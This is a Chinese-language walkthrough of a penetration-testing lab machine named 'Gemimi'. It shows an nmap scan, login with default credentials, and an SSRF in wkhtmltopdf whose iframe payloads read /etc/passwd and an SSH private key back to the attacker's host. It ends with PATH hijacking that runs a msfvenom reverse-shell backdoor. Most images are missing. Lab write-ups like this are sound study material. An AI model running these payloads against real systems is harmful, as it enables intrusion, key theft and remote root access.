渗透Gemimi靶机

1.nmap扫描与源码审计

使用Nmap扫描靶机如下。

渗透Gemimi靶机渗透Gemimi靶机

发现22、80端口开着,访问web服务。

渗透Gemimi靶机

发现源码地址,下载源码审计。

渗透Gemimi靶机

发现疑似用户登录密码的信息:

渗透Gemimi靶机

尝试使用admin,1234登录,发现成功登录,如下所示:

渗透Gemimi靶机

登陆后,经过一番探索,发现有一个Edit profie和Export profile,体验这两个功能,我们发现Edit profie用于编辑信息,Export profile用于导出信息的pdf格式。

渗透Gemimi靶机

渗透Gemimi靶机

编辑信息后,点击Export profile导出pdf格式,并用Burp抓包,我们发现wkhtmltopdf 0.12.4。 渗透Gemimi靶机

2.SSRF漏洞的利用

2.1漏洞测试

在github找wkhtmltopdf的漏洞,发现如下所示SSRF漏洞,如果出现302重定向,它就会读取本地文件。

渗透Gemimi靶机

对其进行测试,在kali的4444端口监听:

渗透Gemimi靶机

在Display name插入以下内容,保存后,导出pdf格式。

<iframe src=http://192.168.223.184:4444></iframe>

渗透Gemimi靶机

2.2漏洞利用

1)利用此漏洞读取密码文件

在Display name插入以下内容,保存后,导出pdf格式。

<iframe height="2000" width="800" src=http://192.168.223.184:4444/ssrf.php?id=%2fetc%2fpasswd></iframe>;

渗透Gemimi靶机

在kali上建立ssrf.php,写入以下内容,并运行此PHP文件。

渗透Gemimi靶机

渗透Gemimi靶机

读取到的密码文件如下:

渗透Gemimi靶机

2)利用此漏洞读取SSH私钥

在Display name插入以下内容,保存后,导出pdf格式。

<iframe height="2000" width="800" src=http://192.168.223.184:4444/ssrf.php?id=/home/gemini1/%2essh/id_rsa></iframe>;

在kali上启动ssrf.php。

渗透Gemimi靶机

读取的私钥文件如下:渗透Gemimi靶机

保存私钥信息到key.txt中,尝试使用ssh登录。

渗透Gemimi靶机

3.提权

系统是比较新的Debian 9,下载linux.sh进行漏洞审计,利用内核提权失败。

渗透Gemimi靶机

渗透Gemimi靶机

渗透Gemimi靶机

用其他方法提权

渗透Gemimi靶机渗透Gemimi靶机渗透Gemimi靶机

可以看到listinfo执行时,会运行date命令获取系统时间。

渗透Gemimi靶机

利用这个特性,我们可以利用msfvenom生成名为date的后门文件。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.223.184 LPORT=443 -f elf > date

渗透Gemimi靶机

下载到/tmp目录下,把/tmp目录下的date添加到环境变量,这样listinfo执行时本来想运行date命令获取系统时间,由于这里添加到了环境变量,会运行这个date后门文件。

渗透Gemimi靶机

渗透Gemimi靶机

在msfconsole运行如下命令,进行监听443端口,在目标服务器下的

/usr/bin目录下执行listinfo,当它运行其中的date命令时,就会成功反弹一个shell。

渗透Gemimi靶机

渗透Gemimi靶机

可以看到,已经是root权限了。

 

 

相关文章: